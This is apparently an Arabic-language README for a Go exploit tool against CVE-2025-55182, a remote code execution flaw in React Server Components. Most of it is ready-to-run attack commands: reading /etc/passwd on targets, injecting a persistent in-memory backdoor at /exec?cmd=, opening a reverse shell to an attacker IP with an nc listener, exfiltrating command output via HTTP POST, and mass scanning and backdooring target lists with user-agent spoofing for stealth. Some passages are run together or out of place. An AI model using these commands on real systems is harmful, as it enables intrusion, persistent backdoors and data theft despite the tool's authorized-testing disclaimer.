إثبات مفهوم قائم على Go لثغرة CVE-2025-55182، وهي ثغرة RCE حرجة في React Server Components. يتضمن فحص الثغرات، وتنفيذ الأوامر، وحقن ذاكرة شيل، وروابط عكسية، وفحص دفعات، ودعم وكيل للاختبار الأمني المصرح به.
⚠️ للاستخدام المصرّح به في اختبار الأمان فقط ⚠️
CVE-2025-55182 (المعروف أيضًا باسم CVE-2025-66478) هي ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React (بروتوكول Flight). هذه الأداة هي تنفيذ بلغة Go لإثبات المفهوم لأغراض البحث الأمني واختبار الاختراق المصرّح به.
الإصدارات المتأثرة:
يستغل الاستغلال تلوث النموذج الأولي (prototype pollution) في عملية إلغاء تسلسل بروتوكول Flight:
$@ للحصول على مرجع ChunkChunk.prototype.then كخاصية then للكائن الجذرRESOLVED_MODEL لاستدعاء مع قطعة وهمية خاضعة للتحكمinitializeModelChunkresponse._formData.get بحمولة المهاجمresponse._formData.get على دالة المُنشئ (Function constructor) لتنفيذ تعليمات برمجية عشوائية/exec?cmd=قم بتنزيل أحدث إصدار لمنصتك من إصدارات GitHub.
الملفات الثنائية المتاحة:
# استنساخ المستودع
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# بناء للمنصة الحالية
go build -o cve-2025-55182 .
# أو بناء لجميع المنصات
chmod +x build.sh
./build.sh
بعد تشغيل ./build.sh، ستتوفر الملفات الثنائية في المجلد build/ لجميع المنصات المدعومة.
# التحقق من ثغرة على هدف واحد
./cve-2025-55182 -u http://target:3000 --check
# كشف إصدار Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# تنفيذ أمر مع عرض المخرجات
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# حقن شل الذاكرة (يتحقق أولاً مما إذا كان مثبتًا بالفعل)
./cve-2025-55182 -u http://target:3000 --memshell
# اختبار ما إذا كانت شل الذاكرة نشطة
./cve-2025-55182 -u http://target:3000 --test-shell
# تنفيذ أمر عبر شل الذاكرة
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# بعد الحقن، يمكنك أيضًا استخدام curl مباشرة:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# إضافة ترويسات مخصصة (يمكن استخدامها عدة مرات)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# تخطي التحقق من شهادة SSL (للشهادات الذاتية التوقيع)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# الدمج مع خيارات أخرى
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 مع مصادقة
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 بدون مصادقة
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# وكيل SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# وكيل HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# فحص دفعاتي من ملف
./cve-2025-55182 --urls targets.txt --check
# فحص دفعاتي مع مخرجات JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# فحص دفعاتي مع عدة خيوط وتخفي
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# حفظ الأهداف الضعيفة في ملف
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# حقن شل ذاكرة دفعاتي
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# تنفيذ أوامر دفعاتي
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# شل عكسي (mkfifo + nc، يعمل على Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# بدء المستمع على جهاز المهاجم أولاً:
nc -lvnp 4444
# تسريب مخرجات الأوامر عبر HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# بدء المستمع: nc -lvnp 4444
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الهدف (مثل http://localhost:3000) |
-f, --file | ملف يحتوي على عناوين URL الهدف (واحد لكل سطر) |
--urls | اسم مستعار لـ -f/--file |
-o, --output | ملف الإخراج للأهداف الضعيفة |
--json | إخراج النتائج بتنسيق JSON |
-c, --command | الأمر المراد تنفيذه (مع المخرجات) |
--check | التحقق من وجود الثغرة |
--version-check | كشف إصدار Next.js |
--proxy | عنوان URL للوكيل (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | ترويسة مخصصة (يمكن استخدامها عدة مرات) |
-k, --insecure | تخطي التحقق من شهادة SSL/TLS |
--stealth | وضع التخفي: browser، crawler، security (الافتراضي: browser) |
--delay | التأخير بين الطلبات (مثل 2s، 500ms) |
--variants | استخدام متغيرات حمولة متعددة للفحص الشامل |
--memshell | حقن شل الذاكرة (باب خلفي دائم) |
--test-shell | اختبار ما إذا كانت شل الذاكرة نشطة |
--shell-exec | تنفيذ أمر عبر شل الذاكرة |
--revshell IP PORT | إنشاء شل عكسي |
--exfil CMD IP PORT | تنفيذ أمر وإرسال المخرجات عبر POST |
-t, --timeout | مهلة الطلب بالثواني (الافتراضي: 15) |
--threads | عدد الخيوط المتزامنة (الافتراضي: 10) |
--workers | اسم مستعار لـ --threads |
socks5://user:pass@ip:port - SOCKS5 مع مصادقة
socks5://ip:port - SOCKS5 بدون مصادقة
socks5h://ip:port - SOCKS5 مع حل أسماء نطاقات عن بُعد
socks4://ip:port - وكيل SOCKS4
socks4a://ip:port - وكيل SOCKS4a
http://user:pass@ip:port - وكيل HTTP مع مصادقة
http://ip:port - وكيل HTTP بدون مصادقة
https://ip:port - وكيل HTTPS
| الوضع | الوصف |
|---|---|
browser | يحاكي طلبات المتصفح الحقيقية (Chrome، Firefox، Safari، Edge) - الافتراضي |
crawler | يحاكي زاحفي محركات البحث (Googlebot، Bingbot، Baiduspider، إلخ) |
security | يستخدم وكيل-مستخدم ماسحات الأمان (Nessus، Nuclei) |
ميزة شل الذاكرة تحقن بابًا خلفيًا دائمًا يقوم بما يلي:
cmd# بعد الحقن:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # نقطة دخول CLI
├── pkg/
│ ├── colors/
│ │ └── colors.go # ألوان الطرفية مع دعم --nocolor
│ ├── exploit/
│ │ └── exploit.go # منطق الاستغلال الأساسي، شل الذاكرة، كشف الإصدار
│ ├── proxy/
│ │ └── proxy.go # دعم وكيل SOCKS4/5، HTTP
│ ├── scanner/
│ │ └── scanner.go # الفحص الدفعي مع مخرجات JSON
│ └── stealth/
│ └── stealth.go # توزيع عشوائي لوكيل-المستخدم
├── build.sh # سكريبت البناء عبر المنصات
├── go.mod # ملف وحدة Go
├── go.sum # تبعيات Go
└── README.md # هذا الملف
سكريبت build.sh يبني لأكثر من 30 منصة:
chmod +x build.sh
./build.sh
عند استخدام علامة --json، يتم حفظ النتائج بتنسيق JSONL (جسون واحد لكل سطر):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
التقرير الكامل (_report.json) يتضمن:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
يمكن للأداة كشف إصدار Next.js من:
X-Powered-By__NEXT_DATA__، المسارات /_next/)يتم تمييز الإصدارات الضعيفة باللون الأحمر.
⚠️ إشعار قانوني هام ⚠️
هذه الأداة مُقدمة بشكل صارم للأغراض التعليمية واختبار الأمان المصرّح به فقط.
يُمنع منعًا باتًا استخدام هذه الأداة:
الوصول غير المصرح به إلى أنظمة الحاسوب هو جريمة جنائية في معظم الدول حول العالم، بما في ذلك على سبيل المثال لا الحصر:
هذا البرنامج يُقدم "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني. لا يتحمل المؤلفون أو حاملو حقوق الطبع أي مسؤولية عن أي مطالبات أو أضرار أو مسؤوليات أخرى ناشئة عن استخدام هذا البرنامج.
بتحميل أو تثبيت أو استخدام هذه الأداة، فإنك تقر بما يلي:
إذا كنت لا توافق على هذه الشروط، فلا تستخدم هذه الأداة.
Vladislav Tislenko aka keklick1337
التاريخ: 2025-12-05
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
استخدم بمسؤولية. ابق قانونيًا. 🔐
--nocolor | تعطيل الإخراج الملون (لنظام Windows/الأنابيب) |
-h, --help | عرض رسالة المساعدة |
-v, --version | عرض الإصدار |